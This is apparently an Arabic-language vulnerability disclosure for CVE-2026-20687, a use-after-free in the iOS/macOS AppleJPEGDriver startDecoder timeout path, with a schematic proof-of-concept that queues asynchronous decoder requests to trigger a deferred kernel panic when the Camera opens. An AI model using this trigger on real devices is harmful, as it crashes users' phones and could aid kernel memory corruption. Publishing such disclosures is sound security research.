
CVE-2026-20687: ثغرة انتهاء المهلة في startDecoder في AppleJPEGDriver تؤدي إلى استخدام بعد التحرير (UAF) — ثغرة في نواة iOS/macOS تؤدي إلى ذعر مؤجل (A19 Pro، iOS 26.3 RC)
CVE-2026-20687 | المؤلف: Johnny Franks (@zeroxjf)
المكوّن: Kernel
التأثير: قد يتمكن تطبيق من التسبب في إنهاء غير متوقع للنظام أو الكتابة في ذاكرة kernel
الوصف: تمت معالجة مشكلة الاستخدام بعد التحرير من خلال تحسين إدارة الذاكرة.
سيؤدي هذا إلى ذعر kernel على جهازك. احفظ عملك.
تم اختباره على iOS 26.3 (23D125) على iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
التشغيل المباشر:
// PoC: يُهيئ برنامج التشغيل؛ عادةً ما يكون الذعر مؤجلًا حتى فتح Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// لاحقًا، فتح Camera يُشغّل:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // BUG: لا يُزيل من قائمة الانتظار (req + 0x78)
// لاحقًا أيضًا (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // قديم: node_ptr == (freed req + 0x78)
req2 = *(node_ptr + 0x8); // قراءة UAF لـ req+0x80 -> خطأ فحص علامة MTE -> ذعر
ios-app/Test.xcodeproj في Xcode